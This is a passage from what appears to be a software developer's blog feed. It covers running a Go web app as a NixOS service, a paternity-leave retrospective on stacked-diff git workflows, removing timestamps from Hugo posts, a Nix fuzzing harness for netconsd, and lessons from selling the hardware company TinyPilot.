
$ journalctl -u basic-go-web-app
Dec 01 10:20:53 nixon systemd[1]: Started Basic Go Web App Service.
Dec 01 10:20:53 nixon basic-go-web-app[186195]: listening on :3000

The logs say the service is running, so I try calling it:

$ curl localhost:3000
Time: 2024-12-01 10:28:46 AM (EST)
Hostname: nixon
Username: basic-go-web-app
Local IP: 10.0.0.31
Compiled with: go1.23.2

It’s running!

Note that now, it runs under the username basic-go-web-app instead of my dev username of mike.

Source code

The full source for this example is available on Codeberg:

https://codeberg.org/mtlynch/basic-go-web-app

Conclusion

The web app I showed is simple and small, but I have real utilities that are about similar in complexity. The difficult part has been finding a way to run the services all the time without adding extra work for packaging or maintenance.

I only just started using NixOS modules to manage my personal services, but I’m excited at how well they work for so little investment.

Paternity Leave: Month 3

Tue, 19 Nov 2024 00:00:00 +0000

Highlights

I’m finding it easier to balance my time as a new father.
I moped about two of my blog posts doing poorly, and then they did well.
I experimented with a stacked diff workflow for software development and liked it except for git’s weaknesses.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Enjoy family time

Result: Enjoyed time with my wife and son.
Grade: A

I found it helpful to remind myself that even when it seems like I’m going long stretches without working, I’m making that choice, and I’m still mostly in control of my time.

I’m still finding the right balance between work and family time, and things continue to feel better.

Publish my tutorial on fuzz testing with Nix

Result: I finally finished the post, but it didn’t get much traction.
Grade: A

Easing back into work

When I sat down to write this retrospective, it seemed like my anxiety around not having time to work was such a distant memory. I thought it must have been two months ago, so I was surprised to see that was actually my most recent retrospective.

Fortunately, I’m feeling much more relaxed about the balance of time with my family. I’ve enjoyed a lot of family time while also publishing more writing than ever before.

A few factors that influenced this:

My son sleeps better at night

He was initially waking up three or four times per night and eating for 60-90 minutes per wakeup, but now he only wakes up two or three times per night and goes back to sleep within 15 to 60 minutes.

Last night, he slept the full night (7 hours 45 minutes), which was exciting.

We’re getting more help from family

As my son has gotten older, we’re more comfortable having family come over and care for him without us. We now have about five hours of help per week, and that will probably keep increasing, as our families are willing to help even more than they currently are.

My son can nap while I work

My son sleeps for longer stretches when someone is holding him or he’s in a chest carrier, so I typically work for one to three hours per day with him on my chest. It gives my wife a break because it’s a multi-hour stretch where she has time to herself.

I have guaranteed work time

I find it difficult to work on an inconsistent schedule. Even though there are lots of time when my wife is caring for our son or he’s asleep on my chest, knowing they might suddenly need me makes it harder to focus.

My wife offered to give me a guaranteed 90-minute block of focus time each day, which has helped with focus. It’s also good to know that I have it each day, so I can reserve certain high-focus tasks for that time block.

Am I over-investing in blog posts?

I used to have a bad habit where every time I learned something difficult, I felt like I absolutely had to write a blog post explaining it.

I tried to polish every post to the best it could be, even if the audience for the article was tiny or if I had no way of reaching readers. Previous examples include “Hiring Content Writers: A Guide for Small Businesses” (there’s an audience, but I don’t have a good way of reaching them) and “Retrofitting Apps for Cloud Storage with Zero Code Changes” (very niche and not interesting outside of my strange use-case).

I’ve spoken to readers who appreciated those articles, but I also have to consider the opportunity cost. In the time I spent writing them, was there another article that would have reached more readers or provided more value in aggregate?

I’ve since become more strategic in my posts. If I don’t think an article can reach a critical mass of readers, I either don’t write it or I write a quick ’n dirty version in my “Notes” section.

“Using Nix to Fuzz Test a PDF Parser”

I feel conflicted about how much time I invested into this post.

Writing the article taught me a lot about Nix and fuzz testing, but it took me longer than I expected. At first, I thought, “Oh, I can do a quick writeup in a few hours,” but I ended up spending 20+ hours on it.

It’s also discouraging to write software tutorials in the age of LLMs. Up until a few years ago, there was a long-term return on tutorials, as people would discover them through web searches later. These days, if I write a niche tutorial, LLMs will just steal whatever I write, and the reader will have no idea it came from me.

“Lessons from my First Exit”

I knew from the start that this was a risky post because it has a few things working against it:

It’s about nitty-gritty details of selling a business, which 99% of my readers have no plans to do.
- My previous post about the sale got traction, but that was a story so readers could enjoy the ride even if they weren’t interested in doing it themselves.
It’s super long.
- I aim for each blog post to be about 10 minutes of reading time, and that one is an estimated 33-minute read.
The only channel social media channel where it had a decent shot was Hacker News.

I submitted it to Hacker News, but it didn’t make the front page at all.

I think it still has a decent shot of getting traction on Hacker News, but even it flops entirely, I’m still happy about writing it. It helped me think through the acquisition for myself, and it will be a useful reference if I ever sell another business. I’ve gotten positive feedback about it from founders who have been through an acquisition or are thinking about it.

And suddenly, those posts got traction

After I wrote the above, I realized that Hackaday wrote about my Nix fuzzing tutorial, which is validating.

And then the day after I wrote the section about “Lessons from my First Exit” flopping, a reader submitted it to Hacker News again, and it reached #2.

Still, I think my initial analysis was correct. I overinvested in the fuzzing post and invested the right amount into the one about selling TinyPilot.

Implementing major features through stacked diffs

For the past few weeks, I’ve spent most of my hobby programming time on ScreenJournal, my TV and movie review web app. The idea of it is like letterboxd or Goodreads, but the reviews are only visible to your friends, and the code is open-source.

ScreenJournal, my open-source TV and movie review web app

I always wanted ScreenJournal to support both movies and TV shows, but I implemented movies first because they were simpler. I intentionally didn’t generalize the code to support TV shows. I didn’t know if it would ever happen, so I wanted to optimize for the functionality that was there.

In October, I added support for reviewing TV show, so I had to correct a lot of assumptions in the codebase about the reviews always being of movies.

The full change ended up hitting 2k lines of code, which is a bit unwieldy to understand in a single changelist. I’m using the term “changelist,” but I’m talking about something like a pull request in GitHub terms or a merge request in GitLab terms.

In the past, the way I’ve tackled large changes like this is that I have a feature branch that’s in a broken or incomplete state until I finish the feature. I either make changes directly into the feature branch, or I branch off that feature branch again for a subtask and then merge in the subtask when I’m done.

The problem with this approach is that the feature branch becomes a giant blob of changes that are too large to understand. You can see an example of this when I migrated What Got Done from Firestore to SQLite. There were lots of substeps within that change, but they’re not inspectable because everything is mixed together.

So, for this ScreenJournal change, I tried something different. Instead of keeping a big, messy feature branch, I did stacked diffs.

What’s a stacked diff?

Stacked diffs are where you have a main branch, and you want to merge in a large feature, so you break the feature into change A, B, and C. You create A by branching off of main, create B by branching off of A, etc.

GitHub has okay support for stacked diffs in that if your stack is A, B, C, you’d make a PR from A into main, then a PR from B into A. When you merge in the A into main PR, the B into A PR automatically updates to a B into main PR.

I broke up the work by making a changelist for each page in the TV show review flow.

The first step of leaving a review is to search for the thing you want to review. It used to only be movies, so my first step in supporting TV shows was to add a radio button that let the user choose between a movie or TV show:

My first task was to modify the title search UI to support TV shows.

The next thing I needed was a way for the user to pick a TV show season, as that’s something that I didn’t have when it was movies only. So, that was its own change.

My second task was to implement a web UI for picking the season of the TV show to review.

I kept going like that, where each stage of the flow was a new branch and separate pull request.

Here are some takeaways from that style of development.

Good: Stacked diffs motivate me better

The nice thing about stacked diffs is that each subtask of a feature is its own changelist.

Breaking the change into smaller pieces gave me a better sense of accomplishment and progress. It’s satisfying to finish a changelist and know that it’s 100% done rather than having one big messy branch where completing a subtask moves the feature from 30% to 35% complete.

Bad: I constantly have to delete change history

The thing I dislike most about the stacked diff workflow is that I end up deleting source history, which negates a big benefit of source control.

Whenever I realize I should have made a change earlier in the stack, I have to do git rebase, which rewrites history. That means I have to force push to GitHub, which litters my changelist with all these ugly force-pushed entries:

Rebasing frequently in git causes ugly force-pushed entries to litter my changelist on GitHub

I know some people want all of their changes preserved exactly as they occurred as if each commit was evidence in a murder trial. I don’t care about that, but I do want a sensible undo history in case I make a mistake. I don’t like that force pushes overwrite the undo history on the remote end and require complicated surgery to recover from the local end.

Good: `--update-refs` simplifies rebasing stacked diffs

As I was experimenting with the stacked diffs workflow, I found out about git’s --update-refs flag, which lets you rebase multiple branches at once.

That trick makes stacked diffs easier because I was previously rebasing each branch in order, which got painfully tedious after I had four branches in the stack.

Bad: Pushing after `--update-refs` is still hard

If I have branches A, B, and C, and I rebase all of them at once, the git output looks like this:

$ git rebase master --update-refs
Successfully rebased and updated refs/heads/C.
Updated the following refs with --update-refs:
 refs/heads/A
 refs/heads/B

While --update-refs simplifies the rebase action, there’s no “okay, now push the branches I just rebased” command. Instead, I have to copy the output from git into a text editor, edit to pull out the branch names, then put it back into a command like git push origin A B C -f. It’s an annoying process that always interrupts my flow.

Bad: I frequently land in an unexpected git state

Even though I thought I was rebasing in the correct way, I frequently found myself in a confusing state. Like I’d rebase, and then it would want me to reconcile conflicts that I’d already reconciled.

I worked around this by squashing commits and rebasing again, but this again rewrites history and makes it harder to undo mistakes. I was also annoyed at the mental bandwidth I wasted thinking about how to apologize properly to git rather than writing my code.

Maybe I should give jujutsu a try

I’m seeing more and more chatter about jujutsu, a new source control system that’s on track to become standard within Google.

A few months ago, I thought about trying it and thought, “Eh, git does what I need. Why chase after the next shiny thing?” But then I had this experience with git rebase and remembered that I’ve accepted so many frustrating git experiences as normal.

From skimming Steve Kalabnik’s tutorial, it sounds like jujutsu supports stacked diffs and multi-rebase better than git does.

Recommendations

“Why I still blog after 15 years” by Jonas Hietala

I related a lot to this post about blogging. As I explored Jonas’ site more, I was like, “Oh, this guy is like the Swedish version of me.” So if you enjoy my writing, you’d probably enjoy his as well.

“Notes on Ukraine” by Matt Lakeman

I discovered Matt’s blog last week, and every day since then, I keep thinking, “Who is this guy?”

Matt travels to not-so-popular destinations, usually for ten days or so and then publishes a blog post about the country. But it’s not like postcard-to-your-mom blog posts; these are novella-length articles based on hours of study of the history of the country and conversations with locals.

I also discovered that Matt has a long posting history elsewhere on the Internet under the username dormin111, such as this detailed analysis of the movie The Disaster Artist.

The craziest thing about all his work is that there’s seemingly no angle. Usually, when you see someone invest so much into their writing, it’s usually obvious how it benefits them: they have a Substack or some paid course that earns them money, and their free articles are loss leaders. But I can’t find any angle or profit motive in any of Lakeman’s stuff. He seems to just love thinking deeply about things and sharing his thoughts.

Anyway, back to this Ukraine post. I assumed that he visited before the war, but it turned out that he visited two months after the war began and interviewed soldiers and civilians within miles of the front lines. I found it interesting to see coverage of the war from someone who’s not a career journalist but still interviewed a variety of real people in Ukraine. It feels like a more authentic and personal view into the situation than anything I’ve seen from traditional media channels.

Cyberpunk 2077 (video game)

I don’t play video games much. I buy one new game per year and it play until I get bored, which usually takes 5-25 hours over a few days. I’m at about 25 hours of play with this game, and I’m still enjoying it.

I find the depth astounding. I think I’ve only explored like 5% of the game despite 25 hours of playing, so it amazes me that modern games have such expansive worlds.

I usually don’t care about stories in video games and find it irritating when the game makes me sit through boring exposition, but Cyberpunk is one of the few games where I find the story compelling enough to pay attention. And it’s cool to see them invest so much into voice acting that Keanu Reeves plays a major role in the game.

Detroiters (TV show)

I’d heard of this show, but I think the name always dissuaded me from watching. A show where the defining feature is that the characters live in Detroit? Sounds boring.

And then I saw this clip from the show and realized that great people are in it, and the tone is like a slightly more grounded version of I Think You Should Leave in sitcom format. I just finished season 1, and I thought it was great.

Detroiters is a slightly more grounded version of I Think You Should Leave in sitcom format.

Wrap up

What got done?

Published two full-length articles:
- “Lessons from my First Exit”
- “Using Nix to Fuzz Test a PDF Parser”
Published five short-form notes:
Added support in ScreenJournal for reviewing TV shows

Lessons learned

Stacked diffs provide a nice workflow for large changes, but git doesn’t have great support for them.
Match investment in blog posts to their expected return.
- While I love documenting everything I learn, I need my blog to be financially sustainable, and that can only happen if a large percentage of my full-length articles draw readers who might be interested in my for-profit projects.

Goals for next month

Enjoy family time.
Complete and publish a chapter of Refactoring English.

Delete the Timestamps from your Static Blog

Sat, 16 Nov 2024 00:00:00 +0000

I build this blog using Hugo, a popular static site generator.

The way Hugo works is that when I create a new blog post, Hugo generates a default template that looks like this:

---
title: "My New Post"
date: 2024-11-16T20:33:09-04:00
---

The boilerplate for the post contains a publication time with a timestamp. But the timestamp obviously isn’t the time that I published the post, as I’ve just started writing it.

The default timestamp is meaningless

From my readers’ perspective, Hugo’s timestamp for my post is meaningless.

Readers want to know a post was published, not when the author first started writing down their earliest ideas.

It’s not just Hugo — Jekyll, another popular static site generator, does the same thing.

At some point in the editing process for every single post I’ve ever written, I have to update the timestamp to the date I plan to publish, and I zero out the time portion like this: 2024-11-16T00:00:00-04:00.

It’s a tedious process, but it only takes five seconds each time, so I quickly forget about it as a problem.

Let’s throw away the timestamps

After what was probably the 100th time manually adjusting the timestamp in one of my blog posts over the last decade, I finally asked, “Do I have to do this every time?”

Fortunately, the answer is: no.

It’s easy to throw away timestamps, at least in Hugo, and everything works just like it should.

Step 1: Update archetypes

The first thing I did was update my blog’s archetypes files.

In Hugo, when you generate a new post, Hugo populates it using boilerplate from the archetype file for that post type.

Now, my default archetype looks like this:

---
title: "{{ replace .Name "-" " " | title }}"
date: {{ now.Format "2006-01-02" }}
---

If I generate a new post, the file has just a plain date with no timestamp attached:

$ hugo new content/posts/just-a-test/index.md && \
 cat content/posts/just-a-test/index.md
Content "/home/mike/mtlynch.io/content/posts/just-a-test/index.md" created
---
title: "Just a Test"
date: 2024-11-16
---

Perfect!

Step 2: Retroactively delete all timestamps

I also retroactively stripped the timestamps from all of my old posts with this wacky LLM-generated one-liner:

# Strip timestamps from the date and lastmod fields of every post.
find . \
 -name "*.md" \
 -exec \
 sed \
 -i \
 -e 's/\(date: [0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}\)T[0-9:.-]\+/\1/' \
 -e 's/\(lastmod: [0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}\)T[0-9:.-]\+/\1/' \
 {} +

That command updated all of my previous posts to remove the timestamp and convert down to simple dates.

Conclusion

My blog is now free of timestamps, and I’m happier for it. The timestamps never had any meaning, and they only got in the way.

I’m elated just imagining all that I’ll achieve with the two seconds I save on fiddling with the date field of every post from now on.

Creating a Nix Workflow to Fuzz netconsd

Fri, 15 Nov 2024 00:00:00 +0000

Recently, when I’m having trouble sleeping, I look for software to fuzz test.

Earlier this week, I thought back to Fady Othman’s post “Meta Bug Bounty — Fuzzing ’netconsd’ for fun and profit.” It’s a good tutorial about fuzzing code exhaustively.

Like most fuzzing blog posts, I found the work a bit difficult to reproduce because it requires the reader to figure out how to replicate the author’s environment and toolchain.

I thought I’d try making an easily reproducible version of Othman’s fuzzer using Nix, as I did with xpdf. My post about xpdf is much more thorough and polished. These are just some quick notes for anyone who’s curious.

fuzz-netconsd

This is the fuzzing workflow I created for netconsd with a few hours of work:

fuzz-netconsd

If you have git and Nix installed, you can run my workflow with the command:

nix run gitlab:mtlynch/fuzz-netconsd

This is the first fuzzer I’ve written where the fuzz tool calls directly into the code under test through function calls rather than executing the compiled binary through the shell. In honggfuzz and AFL++, this is called “persistent mode,” I guess because the fuzzer can keep one process persistently rather than spawning a new process for every fuzz run.

Fuzzing by function call is interesting because you can do it even if the target code doesn’t even publish a shared library. I did this in the installPhase of the workflow by copying the .o file containing the code I want to call and the .h header for it into the Nix output directory for that step.

Once I had the headers and object files I needed, I wrote this simple test harness that has just enough code to call the function I’m fuzzing, ncrx_process:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#include "ncrx.h"

int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t len) {
 // Convert the random bytes of the payload to a null-terminated string.
 char *payload = (char *)malloc(len + 1);
 if (!payload) return 0;
 memcpy(payload, buf, len);
 payload[len] = '\0';

 struct timespec ts;
 if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
 perror("clock_gettime");
 return 1;
 }

 uint64_t now = ts.tv_sec * 1000 + ts.tv_nsec / 1000000;

 struct ncrx *ncrx = ncrx_create(NULL);

 // Call the function that we're fuzzing.
 ncrx_process(payload, now, 0, ncrx);

 // Clean up the resources we allocated.
 ncrx_destroy(ncrx);
 free(payload);

 return 0;
}

I found persistent mode fuzzing easier than I expected. I didn’t even have to learn much about netconsd. I still don’t understand what it does exactly, but I understood enough to call one of its parsing functions under the fuzzer.

I’m probably not going to find anything

Othman reported hitting 100% coverage with his fuzzing work, which is extremely thorough.

I checked the commit history of netconsd, and there’s been almost no activity since Othman’s work. He doesn’t say so explicitly in his article, but I suspect that this is the change that fixed the vulnerability Othman discovered:

prevent overflow on invalid fragment values

I doubt that I’ll find much from fuzzing at this point. I stopped my fuzzer after 12 hours of no crashes.

Unfinished work

Othman used the klee tool to generate edge case inputs for the fuzz corpus. I didn’t implement that, but it would fit nicely into the workflow, as klee is already packaged for Nix.
I used honggfuzz instead of AFL++, which is what Othman used. I prefer the simplicity of honggfuzz, but Othman is knowledgeable enough of AFL++’s knobs to get higher coverage.
- My first draft implementation used AFL++ if you’d prefer to play with that version.

Lessons from my First Exit

Wed, 13 Nov 2024 00:00:00 +0000

In April of this year, I sold TinyPilot, the bootstrapped hardware company I founded and ran for four years.

I wrote a post in May that told the story of the sale, but I’d like to share more about the practical lessons I learned from the experience.

In this post, I’m sharing what went well, what I want to improve in the future, and what surprised me about selling my business.

Details of the sale
What I’m glad I did
What I’ll do differently in the future
What surprised me
Resources that helped me prepare

Details of the sale

Sale price: $598,000 (2.4x annual earnings)
Broker commission: $88,900
Legal fees: $18,297
My profit from the sale: $490,803
Payment terms: Full cash payment at closing (no earnout, no seller financing)
Seller obligations: 30 days of free consulting (max of 80 hours total)
Lifetime profit from business (including final sale): $920k over four years

What I’m glad I did

Invested heavily in documentation

Before I started my first business six years ago, I read the book Built to Sell by John Warrilow. It encourages founders to build businesses that run smoothly without the founder actively managing day-to-day activities. An effective company should have a set of well-defined processes and a team that knows how to execute them.

I’ve always loved reproducible processes, so when I started building the team for TinyPilot, I invested in documentation. Rather than train people in person or on video calls, I wrote playbooks in our Notion workspace. If we ran into issues with our playbooks, we’d revise them to reduce errors in the future. When new team members joined, they’d onboard via the same playbooks, and we’d continuously improve them.

After I sold TinyPilot, the contract called for a 30-day transition period, during which I would provide up to 80 hours of consulting time. The buyer only needed about 25 hours. The team already knew how to run the day-to-day of TinyPilot, and the buyer had access to all of our documentation. Most of my time post-transition was just introducing the new owner to the team and our key vendors.

Created a transition checklist

As I prepared the company for sale, I started a checklist of everything I wanted to do before selling. It included things like deleting obsolete playbooks and ensuring that all of our account credentials were in the company Bitwarden account.

As we entered due diligence, I expanded this checklist to include things that would need to happen during the transition. I split the checklist into four categories:

Things that must happen before closing
Things that must happen a day or two after closing
Things that should happen within the first week after closing
Things that should happen within the first month after closing

The checklist turned out to be extremely valuable, especially the week of the closing. So many accounts were changing hands, and processes needed tweaking for the new owner, so it was helpful to have a checklist I created in calmer times.

Worked with a broker I trusted

I used to have a negative view of M&A brokers. When I thought “broker,” I imagined someone who just wanted to close deals as quickly as possible and didn’t care about anything else. I imagined them saying things like, “Let’s bottom line this,” or “Time for Jäger bombs!”

When I attended Microconf in 2023, I met Chris Guthrie, an advisor at Quiet Light Brokerage. He immediately came across as laid-back, low-pressure, and founder-focused. He was a former founder, and he emphasized the importance of finding the best deal for the founder, not necessarily the quickest payout.

I appreciated working with Quiet Light because our incentives felt aligned throughout the process. The pool of bootstrapped founders looking for M&A brokers is small and relatively tight-knit, so Quiet Light has natural pressure to maintain a positive reputation.

In discussions about the sale, some people balked at Quiet Light’s $89k fee, as it represented 15% of the sale price. I still think that was a fair commission, as they found me a buyer I couldn’t have found on my own and kept the deal on track throughout the process.

Avoided seller financing

I didn’t need cash desperately, so I was initially open to a buyer paying me in installments over several years. When I spoke to other founders, they warned me away from seller financing. As one founder put it:

If you finance the purchase yourself, you now work for the buyer.

I was puzzled. How does financing the sale mean I work for the buyer?

The founder explained that you don’t get paid unless the business makes money, and the new owner knows that. The new owner can push management responsibilities onto you, knowing that if the business fails, you can’t collect your debt.

The other risk of seller financing is that I, as a small lender, don’t have tools or experience to collect a loan if a buyer defaults. The buyer might decide they simply don’t feel like paying me even if they have the cash on hand. For a deal that’s under $1M, I’d probably spend more in legal fees than I could hope to collect from an unscrupulous buyer.

I would have been open to seller financing had there been no other options available, but it would be a red flag to me that the buyer couldn’t secure a loan from a bank. Further, I’d need to charge well above prevailing interest rates because my risk would be higher than a bank’s.

Assumed I’d get nothing after closing

From talking to other founders about their exits, most people seemed disappointed with the payments they were supposed to receive after closing. In some cases, the buyer failed to honor the contract, but it was too small an amount to litigate. In other cases, the new owner used creative bookkeeping to avoid paying performance-based bonuses.

The advice I heard consistently was to structure the deal so that if I got nothing after closing, I’d still be happy. I should treat anything after closing as an unexpected bonus.

The buyer and I did send some money back and forth after closing to account for little costs that we forgot to include in the deal, and that went smoothly. These amounts were a tiny part of the overall transaction, less than $5k. Had the buyer refused to pay, I would have been frustrated, but it would have been easy to move on.

Recognized the limits of my influence on the business post-close

One of the most important criteria for the sale was finding a new owner who wanted to continue investing in the product, the team, and our customers.

I asked other founders for advice on avoiding a buyer who’s out to gut the company and squeeze everything for short-term profits. Their advice was that I can’t control what the new owner does after closing, so I shouldn’t think about it.

It’s true that I can’t control how the new owner runs their business, but it’s possible to screen out risky buyers. For example, if a private equity company like Idera approached me, I’d notice that they have a history of buying companies and laying off their staff, so I’d have a good guess about their plans for TinyPilot.

I looked for buyers whose vision for the company aligned with mine, but I also recognized that my influence over the company ended on closing day.

The new owner runs the business his own way, but his approach matches what we discussed about his vision for the company. I didn’t guarantee this outcome, but I think screening buyers increased my odds to some degree.

Revised the broker agreement so that the broker gets paid when I get paid

The first draft of Quiet Light’s broker agreement said that their fee is a percentage of the purchase price, and it’s due at closing.

The problem was that I, as the seller, may not receive the full purchase price at closing. I sign with the broker well before I know the terms of any deal they might find for me.

If the purchase agreement involved deferred payment, I’d have to pay Quiet Light upfront and wait several years until I received my full payout. Worse, if the buyer failed to make payment after closing, I’d have paid a broker commission on money I never received.

I requested that Quiet Light revise their broker agreement to say that they only get paid when I get paid, and they quickly agreed.

I was relieved that they were willing to adjust the contract, as the new payment terms kept incentives aligned between me and Quiet Light. They’d have just as much desire to push back against deferred payments as I would.

Discussed contentious issues without lawyers first

The buyer’s attorney drafted the asset purchase agreement for the sale rather than using a pre-made template from the broker. For the most part, we agreed on the initial draft, but there were a few key terms where we had different expectations.

We could have each told our lawyers what we wanted and had them hash it out, but lawyers get expensive fast — mine was $550/hr.

Lawyers also slow down the process. The buyer and I could usually arrange to meet within one business day, whereas it would have taken a week to arrange a meeting with both of our lawyers. For a process that already felt long at three months, every day mattered.

When the buyer and I ran into disagreements in the contract, we’d first talk one-on-one. In these conversations, my goal was to go past the contract terms and find out the underlying need.

For example, the first draft of the contract called for tight restrictions on discussing the sale publicly. I spoke with the buyer about why the clause was there, and it turned out that there were only a few things the buyer cared about keeping private. We adjusted the wording from “you can’t discuss anything publicly” to “you can’t discuss these two specific things publicly,” and we both felt good about the compromise.

Used dedicated accounts for the business

Part of what made TinyPilot’s ownership handoff smooth was that its accounts and infrastructure were totally separate from my other business and personal accounts:

I always sent emails related to the business from my @tinypilotkvm.com email address.
I always used @tinypilotkvm.com email addresses whenever signing up for services on behalf of TinyPilot.
I kept TinyPilot’s email in a dedicated Fastmail account.
- This wasn’t true at the beginning. TinyPilot originally shared a Fastmail account with my other businesses, but I eventually migrated it to its own standalone Fastmail account.
I never associated my personal phone number with TinyPilot. Instead, I always used a dedicated Twilio number that forwarded to my real number.
All account credentials were in Bitwarden.

After closing, handing over control was extremely straightforward. I just added the new owner to Bitwarden, and they took over from there. There were a few hiccups around 2FA codes I’d forgotten to put in Bitwarden, but we worked those out quickly.

What I’ll do differently in the future

Offer incentives for a cash buyer

The last time I bought a house, I requested a 10-day inspection period. I wanted to do standard checks with an inspector and an electrician before completing the purchase.

The homeowner pushed back and asked me to limit the inspection period to seven days. They were worried about the cost of keeping the house off the market for an extra three days.

And that’s a house! Its price is far more stable than a small business.

I didn’t realize how much it would cost to take my business off the market for three whole months.

Three months of due diligence meant three months where I was distracted from the business and spent 50% of my time on the sale itself. It also disincentivized long-term investments, as they’d reduce short-term profits and deflate the company’s valuation.

One of the biggest factors for closing time is how the buyer finances the purchase. In TinyPilot’s case, the buyer used a loan from the US Small Business Administration (SBA), which typically involves three to five months of paperwork and approvals. For TinyPilot, the time from signing the letter of intent to closing day was three months, so we were on the quicker side, but it still felt dreadfully slow.

The other subtlety of a bank loan is that it complicates the closing contract, which means you spend more on lawyers. Working through the requirements from the bank and the SBA probably consumed $10k in lawyer time on each side, so even if I accepted a lower price from a cash buyer, I’d make some of it back by reducing closing costs.

Cash deals involve fewer decision-makers and require less paperwork and bureaucracy. I’ve heard of cash deals closing in 30 days or less.

If I sell another business, I plan to offer incentives that make it easier for the buyer to purchase in cash. I could offer a discount for a cash purchase or make other accommodations to attract buyers who can purchase in cash and make a fast close.

Discuss key contract terms earlier in the process

The most stressful part of the sale was the contract negotiations, and I’m still not sure how to do it better.

I didn’t see the first draft of the contract until five weeks into due diligence. By that point, I felt like I was already in a terrible negotiating position. I’d invested so much time and revealed so much during due diligence that I felt exhausted and afraid of starting the whole process over with a new buyer.

It would be wonderful if the buyer had to present the entire purchase agreement at the letter of intent stage. That way, if I saw terms I didn’t like, I could request adjustments before ever taking TinyPilot off the market or participating in due diligence.

The problem is that buyers don’t want to spend thousands of dollars of lawyer time drafting a purchase agreement before they’ve gotten some commitment from the seller.

What I’ll try next time is to negotiate a few terms I care about at the letter of intent stage. I’d want to include things like:

Short transition time
Limited restrictions on confidentiality
Seller liability is limited to 50% of the sale price

Begin working with a lawyer earlier

When I started talking with a broker, I also found an M&A law firm to represent me in the sale. The lawyer reviewed the broker agreement, but I didn’t reach out to them again until I had the purchase agreement from the buyer.

I never asked my lawyer to review the letter of intent, as I figured there wasn’t much value in paying a lawyer to review something that wasn’t legally binding in the first place.

In retrospect, it would have been helpful to involve my lawyer at that stage, as the letter of intent sets a baseline for the purchase agreement.

Had I met with my lawyer earlier, they also would have helped me with other due diligence tasks like reviewing my existing contracts and gathering documents the buyer or lender would request later.

Working with a lawyer at the letter of intent stage also would have been a good opportunity to find out if I liked working with my lawyer. I ended up feeling dissatisfied with mine, but by the time I saw the issues, it was too late to replace him.

Create an unofficial “small stuff agreement” with the buyer

TinyPilot had a physical office that was a short drive from my house but a plane ride from the buyer, so they didn’t want to keep it.

We had about $1k worth of equipment in the office, but the value was spread over so many small items that the cost of liquidating it would cancel out whatever proceeds we’d collect. For example, we could sell our printer for $40, but the cost of interrupting an employee’s normal work to sell a printer is higher than $40.

Still, the stuff in TinyPilot’s office was a business asset, so the buyer and I felt like we had to define in the asset purchase agreement what should happen to it. We spent several hours enumerating everything of value in the office, working out a timeline of when the buyer would clear it from the office, and how long I’d extend the lease to facilitate that. The buyer and I probably spent $2k on lawyer hours trying to work out how to handle $1k worth of stuff that neither of us wanted.

If I were to do this again, I’d propose to the buyer a “small stuff agreement.” This would sit outside of the official legal documents and maybe have some header at the top saying, “Nothing in here is a real legal agreement.” And that’s where we could define things where we need to decide something, but the stakes are so small that if one side breaches the agreement, it wouldn’t matter.

Announce the sale to my team later

When should an owner announce a potential acquisition to their team?

If you keep the sale a secret until the deal closes, you’re effectively lying to your team.

If you’re completely transparent about the sale, you bear enormous risk. Members of the team might threaten to leave unless you offer them bonuses or promotions. Or the looming sale might kill their motivation and tank their job performance.

I had a good relationship with every member of TinyPilot’s team, so I didn’t think anyone would use my candor against me in bargaining. That said, people do unexpected things when a relationship is about to end.

I chose to reveal the sale to the team at the earliest formal step of the process: when I signed the agreement to begin working with my broker. That ended up being six months before closing.

I regret that decision slightly.

Nothing catastrophic happened, but announcing the sale affected management dynamics in certain cases and made it harder to work with employees on performance issues.

To the team, an acquisition meant the new owner could fire them or drastically change their role. If they wanted to interfere with the sale, they could scare off a buyer and slice $50-100k off the valuation. Worse, they could delay the sale and leave me in a position where I’m managing the company, trying to prepare it for sale, and caring for a newborn all at the same time.

I didn’t want a bad outcome for anyone, but the worst case for me was significantly worse than the worst case for any other member of the team.

If I do this again, I’d wait to tell my team about the sale until it’s a done deal, but I’d also make sure the team knows that an acquisition is always a possibility. I’d explain before I even start looking for a buyer that an acquisition might happen, and that the team won’t necessarily know it’s happening. If it did, I’d prioritize a buyer whose vision aligns with the team’s interests, as I did with TinyPilot.

This strategy is not ideal or fair to everyone, but it feels like the least bad of many flawed options.

Don’t catastrophize every setback

I found the due diligence process quite stressful and demoralizing, but I made it even harder on myself by catastrophizing everything.

Every time there was even a potential obstacle in negotiations, I began imagining exactly how this obstacle would ruin everything. I’d ruminate about the bad outcome so much that I’d feel like it already happened, and the deal was dead.

For example, TinyPilot uses the H.264 video encoding algorithm. It’s patented, so we had to get a license from the patent holder before we shipped that feature. During due diligence, we discovered that the patent license forbade me from transferring the license in an asset sale.

I immediately started imagining the worst possible outcome. What if the patent holder realizes they can block the sale, and they demand I pay them $100k? What if the patent holder just can’t be bothered to deal with a tiny business like mine, and they block the sale out of sheer indifference?

I played out negative scenarios all day, and it kept me awake for hours that night.

The next morning, the buyer emailed to say they’d already heard back from the patent owner. The wheels were in motion for a new license. I’d freaked out when there was no evidence of a problem in the first place.

If I sell a company in the future, I hope to worry less about potential disasters. I need to remember to sleep on things and see how they feel in the morning.

Reveal vendors earlier, but put tighter restrictions in the LOI

An experienced founder advised me to withhold the names of TinyPilot’s critical vendors until after the deal closed. They explained that you can force the buyer to sign something promising not to use the information if the deal falls through, but it’s hard to enforce that on small-scale deals. The only way to protect the information is not to share it at all.

I withheld the names of my vendors, but I wouldn’t do it again.

As part of due diligence, I had to share the last two years of TinyPilot’s bank statements. Our vendor’s names appeared frequently in the statements, so I had to go through a hundred PDFs searching for each vendor’s name, manually drawing black rectangles over them, and rasterizing the PDF to prevent leaks in the metadata.

A few days later, I sent an inventory report to the buyer and was horrified when he replied, “Who’s FooCorp?”

“FooCorp” (not their real name) was the very web-searchable name of TinyPilot’s electrical engineering vendor. I forgot that the report mentioned them, so I didn’t redact it before sending.

And then just a few weeks later, the buyer’s bank firmly insisted on seeing vendor names, so I had to reveal everything anyway.

If I sell a business in the future, my strategy will be to create a contract that forbids the buyer from acting on insider secrets they learn in due diligence. I’d guard trade secrets more carefully if I were selling to a competitor, but my default would be to rely on the contract to discourage bad behavior.

Hiding the names of key vendors makes due diligence so much harder. On top of all the contortions to withhold information, missing a single redaction can undo hours of tedious work.

Eliminate inventory from the broker’s commission

